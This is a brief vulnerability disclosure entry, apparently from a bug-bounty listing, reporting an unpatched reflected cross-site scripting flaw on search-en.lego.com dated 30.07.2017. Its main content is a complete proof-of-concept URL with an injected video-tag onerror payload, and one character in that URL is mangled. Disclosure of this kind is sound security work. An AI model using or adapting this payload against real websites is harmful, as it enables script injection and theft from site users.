search-en.lego.com XSS vulnerability

Vulnerable URL: http://search-en.lego.com/?cc=US〈=2057=%3Cvideo+src%3D%2F+onerror%3D%22alert%28String.fromCharCode%2879,%2080,%2069,%2078,%2066,%2085,%2071,%2066,%2079,%2085,%2078,%2084,%2089%29%29%22%3E=1=0=0 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017...